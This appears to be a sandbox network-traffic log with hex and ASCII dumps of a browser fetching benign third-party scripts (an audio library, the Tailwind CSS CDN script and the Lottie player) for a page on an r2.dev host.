2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 29 2c 6d 34 62 3a 21 21 28 75 2e 63 61 6e 50 6c 61 79 54 79 70 65 28 22 61 75 64 69 6f 2f 78 2d 6d 34 62 3b 22 29 7c 7c 75 2e 63 61 6e 50 6c 61 79 54 79 70 65 28 22 61 75 64 69 6f 2f 6d 34 62 3b 22 29 7c 7c 75 2e 63 61 6e 50 6c 61 79 54 79 70 65 28 22 61 75 64 69 6f 2f 61 61 63 3b 22 29 29 2e 72 65 70 6c 61 63 65 28 2f 5e 6e 6f 24 2f 2c 22 22 29 2c 6d 70 34 3a 21 21 28 75 2e 63 61 6e 50 6c 61 79 54 79 70 65 28 22 61 75 64 69 6f 2f 78 2d 6d 70 34 3b 22 29 7c 7c 75 2e 63 61 6e 50 6c 61 79 54 79 70 65 28 22 61 75 64 69 6f 2f 6d 70 34 3b 22 29 7c 7c 75 2e 63 61 6e 50 6c 61 79 54 79 70 65 28 22 61 75 64 69 6f 2f 61 61 63 3b 22 29 29 2e 72 65 70 6c 61 63 65 28 2f 5e 6e 6f 24 2f 2c 22 22 29 2c 77 65 62 61 3a 21 21 28 21 78 26 26 75 2e 63 61 6e 50 6c 61 79 54 79 Data Ascii: ),m4b:!!(u.canPlayType("audio/x-m4b;")\|\|u.canPlayType("audio/m4b;")\|\|u.canPlayType("audio/aac;")).replace(/^no$/,""),mp4:!!(u.canPlayType("audio/x-mp4;")\|\|u.canPlayType("audio/mp4;")\|\|u.canPlayType("audio/aac;")).replace(/^no$/,""),weba:!!(!x&&u.canPlayTy
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 64 69 73 63 6f 6e 6e 65 63 74 28 30 29 2c 63 2e 5f 61 75 64 69 6f 55 6e 6c 6f 63 6b 65 64 3d 21 30 2c 64 6f 63 75 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c 75 2c 21 30 29 2c 64 6f 63 75 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 65 6e 64 22 2c 75 2c 21 30 29 2c 64 6f 63 75 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 75 2c 21 30 29 2c 64 6f 63 75 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 75 2c 21 30 29 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 63 2e 5f 68 6f 77 6c 73 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 63 2e 5f 68 6f Data Ascii: disconnect(0),c._audioUnlocked=!0,document.removeEventListener("touchstart",u,!0),document.removeEventListener("touchend",u,!0),document.removeEventListener("click",u,!0),document.removeEventListener("keydown",u,!0);for(var b=0;b<c._howls.length;b++)c._ho

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:53 UTC	632	OUT	GET /@lottiefiles/lottie-player@latest/dist/lottie-player.js HTTP/1.1 Host: unpkg.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:53 UTC	485	IN	HTTP/1.1 302 Found Date: Thu, 27 Mar 2025 15:59:53 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 88 Connection: close Location: https://unpkg.com/@lottiefiles/lottie-player@2.0.12/dist/lottie-player.js Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 927018f92f19ea5b-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 15:59:53 UTC	88	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 75 6e 70 6b 67 2e 63 6f 6d 2f 40 6c 6f 74 74 69 65 66 69 6c 65 73 2f 6c 6f 74 74 69 65 2d 70 6c 61 79 65 72 40 32 2e 30 2e 31 32 2f 64 69 73 74 2f 6c 6f 74 74 69 65 2d 70 6c 61 79 65 72 2e 6a 73 Data Ascii: Redirecting to https://unpkg.com/@lottiefiles/lottie-player@2.0.12/dist/lottie-player.js

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:54 UTC	593	OUT	GET /3.4.16 HTTP/1.1 Host: cdn.tailwindcss.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:54 UTC	424	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:54 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close Cache-Control: max-age=31536000 strict-transport-security: max-age=63072000 x-vercel-cache: MISS x-vercel-id: cle1::iad1::6rj9h-1742830770833-7403663bdf54 Last-Modified: Mon, 24 Mar 2025 15:39:32 GMT CF-Cache-Status: HIT Age: 260421 Server: cloudflare CF-RAY: 927018fbaac81a2c-EWR
2025-03-27 15:59:54 UTC	945	IN	Data Raw: 37 64 66 35 0d 0a 28 28 29 3d 3e 7b 76 61 72 20 71 76 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3b 76 61 72 20 48 69 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 24 76 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3b 76 61 72 20 4c 76 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 3b 76 61 72 20 4d 76 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 4e 76 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 76 61 72 20 64 66 3d 72 3d 3e 48 69 28 72 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 68 66 3d 72 3d 3e 7b 69 66 28 74 79 Data Ascii: 7df5(()=>{var qv=Object.create;var Hi=Object.defineProperty;var $v=Object.getOwnPropertyDescriptor;var Lv=Object.getOwnPropertyNames;var Mv=Object.getPrototypeOf,Nv=Object.prototype.hasOwnProperty;var df=r=>Hi(r,"__esModule",{value:!0});var hf=r=>{if(ty
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 72 65 61 64 46 69 6c 65 53 79 6e 63 3a 72 3d 3e 73 65 6c 66 5b 72 5d 7c 7c 22 22 2c 73 74 61 74 53 79 6e 63 3a 28 29 3d 3e 28 7b 6d 74 69 6d 65 4d 73 3a 46 76 2b 2b 7d 29 2c 70 72 6f 6d 69 73 65 73 3a 7b 72 65 61 64 46 69 6c 65 3a 72 3d 3e 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 65 6c 66 5b 72 5d 7c 7c 22 22 29 7d 7d 7d 29 3b 76 61 72 20 46 73 3d 78 28 28 6f 50 2c 67 66 29 3d 3e 7b 75 28 29 3b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6d 66 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 3d 7b 7d 29 7b 69 66 28 21 28 65 2e 6d 61 78 53 69 7a 65 26 26 65 2e 6d 61 78 53 69 7a 65 3e 30 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 60 6d 61 78 53 69 7a 65 60 20 6d 75 73 74 20 62 65 20 61 20 6e 75 6d 62 65 Data Ascii: readFileSync:r=>self[r]\|\|"",statSync:()=>({mtimeMs:Fv++}),promises:{readFile:r=>Promise.resolve(self[r]\|\|"")}}});var Fs=x((oP,gf)=>{u();"use strict";var mf=class{constructor(e={}){if(!(e.maxSize&&e.maxSize>0))throw new TypeError("`maxSize` must be a numbe
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 6c 65 74 65 49 66 45 78 70 69 72 65 64 28 74 2c 69 29 3d 3d 3d 21 31 26 26 28 79 69 65 6c 64 20 65 29 7d 7d 67 65 74 28 65 29 7b 69 66 28 74 68 69 73 2e 63 61 63 68 65 2e 68 61 73 28 65 29 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 63 61 63 68 65 2e 67 65 74 28 65 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 56 61 6c 75 65 28 65 2c 74 29 7d 69 66 28 74 68 69 73 2e 6f 6c 64 43 61 63 68 65 2e 68 61 73 28 65 29 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 6f 6c 64 43 61 63 68 65 2e 67 65 74 28 65 29 3b 69 66 28 74 68 69 73 2e 5f 64 65 6c 65 74 65 49 66 45 78 70 69 72 65 64 28 65 2c 74 29 3d 3d 3d 21 31 29 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 6d 6f 76 65 54 6f 52 65 63 65 6e 74 28 65 2c 74 29 2c 74 2e 76 61 6c 75 65 7d 7d 73 65 74 28 65 2c 74 2c Data Ascii: leteIfExpired(t,i)===!1&&(yield e)}}get(e){if(this.cache.has(e)){let t=this.cache.get(e);return this._getItemValue(e,t)}if(this.oldCache.has(e)){let t=this.oldCache.get(e);if(this._deleteIfExpired(e,t)===!1)return this._moveToRecent(e,t),t.value}}set(e,t,
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 74 68 69 73 2e 63 61 63 68 65 2e 68 61 73 28 74 29 7c 7c 74 68 69 73 2e 5f 64 65 6c 65 74 65 49 66 45 78 70 69 72 65 64 28 74 2c 69 29 3d 3d 3d 21 31 26 26 28 79 69 65 6c 64 5b 74 2c 69 2e 76 61 6c 75 65 5d 29 7d 7d 2a 65 6e 74 72 69 65 73 44 65 73 63 65 6e 64 69 6e 67 28 29 7b 6c 65 74 20 65 3d 5b 2e 2e 2e 74 68 69 73 2e 63 61 63 68 65 5d 3b 66 6f 72 28 6c 65 74 20 74 3d 65 2e 6c 65 6e 67 74 68 2d 31 3b 74 3e 3d 30 3b 2d 2d 74 29 7b 6c 65 74 20 69 3d 65 5b 74 5d 2c 5b 6e 2c 73 5d 3d 69 3b 74 68 69 73 2e 5f 64 65 6c 65 74 65 49 66 45 78 70 69 72 65 64 28 6e 2c 73 29 3d 3d 3d 21 31 26 26 28 79 69 65 6c 64 5b 6e 2c 73 2e 76 61 6c 75 65 5d 29 7d 65 3d 5b 2e 2e 2e 74 68 69 73 2e 6f 6c 64 43 61 63 68 65 5d 3b 66 6f 72 28 6c 65 74 20 74 3d 65 2e 6c 65 6e 67 74 Data Ascii: this.cache.has(t)\|\|this._deleteIfExpired(t,i)===!1&&(yield[t,i.value])}}*entriesDescending(){let e=[...this.cache];for(let t=e.length-1;t>=0;--t){let i=e[t],[n,s]=i;this._deleteIfExpired(n,s)===!1&&(yield[n,s.value])}e=[...this.oldCache];for(let t=e.lengt
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 78 22 2c 22 66 6c 65 78 53 68 72 69 6e 6b 22 2c 22 66 6c 65 78 47 72 6f 77 22 2c 22 66 6c 65 78 42 61 73 69 73 22 2c 22 74 61 62 6c 65 4c 61 79 6f 75 74 22 2c 22 63 61 70 74 69 6f 6e 53 69 64 65 22 2c 22 62 6f 72 64 65 72 43 6f 6c 6c 61 70 73 65 22 2c 22 62 6f 72 64 65 72 53 70 61 63 69 6e 67 22 2c 22 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 22 2c 22 74 72 61 6e 73 6c 61 74 65 22 2c 22 72 6f 74 61 74 65 22 2c 22 73 6b 65 77 22 2c 22 73 63 61 6c 65 22 2c 22 74 72 61 6e 73 66 6f 72 6d 22 2c 22 61 6e 69 6d 61 74 69 6f 6e 22 2c 22 63 75 72 73 6f 72 22 2c 22 74 6f 75 63 68 41 63 74 69 6f 6e 22 2c 22 75 73 65 72 53 65 6c 65 63 74 22 2c 22 72 65 73 69 7a 65 22 2c 22 73 63 72 6f 6c 6c 53 6e 61 70 54 79 70 65 22 2c 22 73 63 72 6f 6c 6c 53 6e 61 70 41 6c 69 67 Data Ascii: x","flexShrink","flexGrow","flexBasis","tableLayout","captionSide","borderCollapse","borderSpacing","transformOrigin","translate","rotate","skew","scale","transform","animation","cursor","touchAction","userSelect","resize","scrollSnapType","scrollSnapAlig
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 22 2c 22 74 65 78 74 4f 70 61 63 69 74 79 22 2c 22 74 65 78 74 44 65 63 6f 72 61 74 69 6f 6e 22 2c 22 74 65 78 74 44 65 63 6f 72 61 74 69 6f 6e 43 6f 6c 6f 72 22 2c 22 74 65 78 74 44 65 63 6f 72 61 74 69 6f 6e 53 74 79 6c 65 22 2c 22 74 65 78 74 44 65 63 6f 72 61 74 69 6f 6e 54 68 69 63 6b 6e 65 73 73 22 2c 22 74 65 78 74 55 6e 64 65 72 6c 69 6e 65 4f 66 66 73 65 74 22 2c 22 66 6f 6e 74 53 6d 6f 6f 74 68 69 6e 67 22 2c 22 70 6c 61 63 65 68 6f 6c 64 65 72 43 6f 6c 6f 72 22 2c 22 70 6c 61 63 65 68 6f 6c 64 65 72 4f 70 61 63 69 74 79 22 2c 22 63 61 72 65 74 43 6f 6c 6f 72 22 2c 22 61 63 63 65 6e 74 43 6f 6c 6f 72 22 2c 22 6f 70 61 63 69 74 79 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 42 6c 65 6e 64 4d 6f 64 65 22 2c 22 6d 69 78 42 6c 65 6e 64 4d 6f 64 65 22 2c Data Ascii: ","textOpacity","textDecoration","textDecorationColor","textDecorationStyle","textDecorationThickness","textUnderlineOffset","fontSmoothing","placeholderColor","placeholderOpacity","caretColor","accentColor","opacity","backgroundBlendMode","mixBlendMode",
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 61 79 2e 69 73 41 72 72 61 79 28 72 29 3f 5b 72 5d 3a 5b 65 2c 72 5d 29 7d 2c 77 61 72 6e 28 72 2c 65 29 7b 5b 22 63 6f 6e 74 65 6e 74 2d 70 72 6f 62 6c 65 6d 73 22 5d 2e 69 6e 63 6c 75 64 65 73 28 72 29 7c 7c 6a 73 28 51 65 2e 62 6f 6c 64 28 51 65 2e 79 65 6c 6c 6f 77 28 22 77 61 72 6e 22 29 29 2c 2e 2e 2e 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 72 29 3f 5b 72 5d 3a 5b 65 2c 72 5d 29 7d 2c 72 69 73 6b 28 72 2c 65 29 7b 6a 73 28 51 65 2e 62 6f 6c 64 28 51 65 2e 6d 61 67 65 6e 74 61 28 22 72 69 73 6b 22 29 29 2c 2e 2e 2e 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 72 29 3f 5b 72 5d 3a 5b 65 2c 72 5d 29 7d 7d 7d 29 3b 76 61 72 20 5f 66 3d 7b 7d 3b 47 65 28 5f 66 2c 7b 64 65 66 61 75 6c 74 3a 28 29 3d 3e 55 73 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 71 72 28 7b Data Ascii: ay.isArray(r)?[r]:[e,r])},warn(r,e){["content-problems"].includes(r)\|\|js(Qe.bold(Qe.yellow("warn")),...Array.isArray(r)?[r]:[e,r])},risk(r,e){js(Qe.bold(Qe.magenta("risk")),...Array.isArray(r)?[r]:[e,r])}}});var _f={};Ge(_f,{default:()=>Us});function qr({
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 3a 22 23 66 65 66 32 66 32 22 2c 31 30 30 3a 22 23 66 65 65 32 65 32 22 2c 32 30 30 3a 22 23 66 65 63 61 63 61 22 2c 33 30 30 3a 22 23 66 63 61 35 61 35 22 2c 34 30 30 3a 22 23 66 38 37 31 37 31 22 2c 35 30 30 3a 22 23 65 66 34 34 34 34 22 2c 36 30 30 3a 22 23 64 63 32 36 32 36 22 2c 37 30 30 3a 22 23 62 39 31 63 31 63 22 2c 38 30 30 3a 22 23 39 39 31 62 31 62 22 2c 39 30 30 3a 22 23 37 66 31 64 31 64 22 2c 39 35 30 3a 22 23 34 35 30 61 30 61 22 7d 2c 6f 72 61 6e 67 65 3a 7b 35 30 3a 22 23 66 66 66 37 65 64 22 2c 31 30 30 3a 22 23 66 66 65 64 64 35 22 2c 32 30 30 3a 22 23 66 65 64 37 61 61 22 2c 33 30 30 3a 22 23 66 64 62 61 37 34 22 2c 34 30 30 3a 22 23 66 62 39 32 33 63 22 2c 35 30 30 3a 22 23 66 39 37 33 31 36 22 2c 36 30 30 3a 22 23 65 61 35 38 30 63 Data Ascii: :"#fef2f2",100:"#fee2e2",200:"#fecaca",300:"#fca5a5",400:"#f87171",500:"#ef4444",600:"#dc2626",700:"#b91c1c",800:"#991b1b",900:"#7f1d1d",950:"#450a0a"},orange:{50:"#fff7ed",100:"#ffedd5",200:"#fed7aa",300:"#fdba74",400:"#fb923c",500:"#f97316",600:"#ea580c
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 2c 36 30 30 3a 22 23 30 38 39 31 62 32 22 2c 37 30 30 3a 22 23 30 65 37 34 39 30 22 2c 38 30 30 3a 22 23 31 35 35 65 37 35 22 2c 39 30 30 3a 22 23 31 36 34 65 36 33 22 2c 39 35 30 3a 22 23 30 38 33 33 34 34 22 7d 2c 73 6b 79 3a 7b 35 30 3a 22 23 66 30 66 39 66 66 22 2c 31 30 30 3a 22 23 65 30 66 32 66 65 22 2c 32 30 30 3a 22 23 62 61 65 36 66 64 22 2c 33 30 30 3a 22 23 37 64 64 33 66 63 22 2c 34 30 30 3a 22 23 33 38 62 64 66 38 22 2c 35 30 30 3a 22 23 30 65 61 35 65 39 22 2c 36 30 30 3a 22 23 30 32 38 34 63 37 22 2c 37 30 30 3a 22 23 30 33 36 39 61 31 22 2c 38 30 30 3a 22 23 30 37 35 39 38 35 22 2c 39 30 30 3a 22 23 30 63 34 61 36 65 22 2c 39 35 30 3a 22 23 30 38 32 66 34 39 22 7d 2c 62 6c 75 65 3a 7b 35 30 3a 22 23 65 66 66 36 66 66 22 2c 31 30 30 3a 22 Data Ascii: ,600:"#0891b2",700:"#0e7490",800:"#155e75",900:"#164e63",950:"#083344"},sky:{50:"#f0f9ff",100:"#e0f2fe",200:"#bae6fd",300:"#7dd3fc",400:"#38bdf8",500:"#0ea5e9",600:"#0284c7",700:"#0369a1",800:"#075985",900:"#0c4a6e",950:"#082f49"},blue:{50:"#eff6ff",100:"
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 42 6c 75 65 28 29 7b 72 65 74 75 72 6e 20 71 72 28 7b 76 65 72 73 69 6f 6e 3a 22 76 32 2e 32 22 2c 66 72 6f 6d 3a 22 6c 69 67 68 74 42 6c 75 65 22 2c 74 6f 3a 22 73 6b 79 22 7d 29 2c 74 68 69 73 2e 73 6b 79 7d 2c 67 65 74 20 77 61 72 6d 47 72 61 79 28 29 7b 72 65 74 75 72 6e 20 71 72 28 7b 76 65 72 73 69 6f 6e 3a 22 76 33 2e 30 22 2c 66 72 6f 6d 3a 22 77 61 72 6d 47 72 61 79 22 2c 74 6f 3a 22 73 74 6f 6e 65 22 7d 29 2c 74 68 69 73 2e 73 74 6f 6e 65 7d 2c 67 65 74 20 74 72 75 65 47 72 61 79 28 29 7b 72 65 74 75 72 6e 20 71 72 28 7b 76 65 72 73 69 6f 6e 3a 22 76 33 2e 30 22 2c 66 72 6f 6d 3a 22 74 72 75 65 47 72 61 79 22 2c 74 6f 3a 22 6e 65 75 74 72 61 6c 22 7d 29 2c 74 68 69 73 2e 6e 65 75 74 72 61 6c 7d 2c 67 65 74 20 63 6f 6f 6c 47 72 61 79 28 29 7b 72 Data Ascii: Blue(){return qr({version:"v2.2",from:"lightBlue",to:"sky"}),this.sky},get warmGray(){return qr({version:"v3.0",from:"warmGray",to:"stone"}),this.stone},get trueGray(){return qr({version:"v3.0",from:"trueGray",to:"neutral"}),this.neutral},get coolGray(){r

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:54 UTC	632	OUT	GET /@lottiefiles/lottie-player@2.0.12/dist/lottie-player.js HTTP/1.1 Host: unpkg.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:54 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:54 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 383981 Connection: close CF-Ray: 927018fbdf393ea9-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 82874 Cache-Control: public, max-age=31536000 Last-Modified: Wed, 26 Mar 2025 16:58:40 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Access-Control-Expose-Headers: * Content-Digest: sha256=:s5bGhH+Rb5OzU93ckkWwVq2QDRFc+1ieeQm6mW6vcK8=: Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Server: cloudflare alt-svc: h3=":443"; ma=86400
2025-03-27 15:59:54 UTC	691	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 65 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 65 29 3a 65 28 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 7c 7c 73 65 6c 66 29 5b 22 6c 6f 74 74 69 65 2d 70 6c 61 79 65 72 22 5d 3d 7b 7d 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 65 78 70 6f 72 74 73 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 Data Ascii: !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self)["lottie-player"]={})}(this,(function(exports){"use strict";f
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 3b 76 61 72 20 65 3d 74 2e 64 6f 6e 65 3b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 74 2e 76 61 6c 75 65 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 74 2c 64 6f 6e 65 3a 65 7d 7d 29 29 7d 72 65 74 75 72 6e 20 41 73 79 6e 63 46 72 6f 6d 53 79 6e 63 49 74 65 72 61 74 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 73 3d 74 2c 74 68 69 73 2e 6e 3d 74 2e 6e 65 78 74 7d 2c 41 73 79 6e 63 46 72 6f 6d 53 79 6e 63 49 74 65 72 61 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 73 3a 6e 75 6c 6c 2c 6e 3a 6e 75 6c 6c 2c 6e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2e 6e 2e 61 70 70 6c 79 28 74 68 69 73 2e 73 2c 61 72 67 75 6d 65 6e 74 Data Ascii: ;var e=t.done;return Promise.resolve(t.value).then((function(t){return{value:t,done:e}}))}return AsyncFromSyncIterator=function(t){this.s=t,this.n=t.next},AsyncFromSyncIterator.prototype={s:null,n:null,next:function(){return e(this.n.apply(this.s,argument
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 65 63 74 28 72 29 2c 21 30 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 72 5b 65 5d 29 7d 29 29 3a 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 74 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 6f 77 6e 4b 65 79 73 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 Data Ascii: ect(r),!0).forEach((function(e){_defineProperty(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):ownKeys(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 74 68 69 73 2c 72 2c 73 29 7d 2c 5f 77 72 61 70 52 65 67 45 78 70 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 41 77 61 69 74 56 61 6c 75 65 28 74 29 7b 74 68 69 73 2e 77 72 61 70 70 65 64 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 5f 41 73 79 6e 63 47 65 6e 65 72 61 74 6f 72 28 74 29 7b 76 61 72 20 65 2c 72 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 72 29 7b 74 72 79 7b 76 61 72 20 61 3d 74 5b 65 5d 28 72 29 2c 6e 3d 61 2e 76 61 6c 75 65 2c 6f 3d 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 41 77 61 69 74 56 61 6c 75 65 3b 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6f 3f 6e 2e 77 72 61 70 70 65 64 3a 6e 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6f 3f 69 28 22 72 65 74 75 72 6e 22 3d 3d 3d Data Ascii: this,r,s)},_wrapRegExp.apply(this,arguments)}function _AwaitValue(t){this.wrapped=t}function _AsyncGenerator(t){var e,r;function i(e,r){try{var a=t[e](r),n=a.value,o=n instanceof _AwaitValue;Promise.resolve(o?n.wrapped:n).then((function(t){o?i("return"===
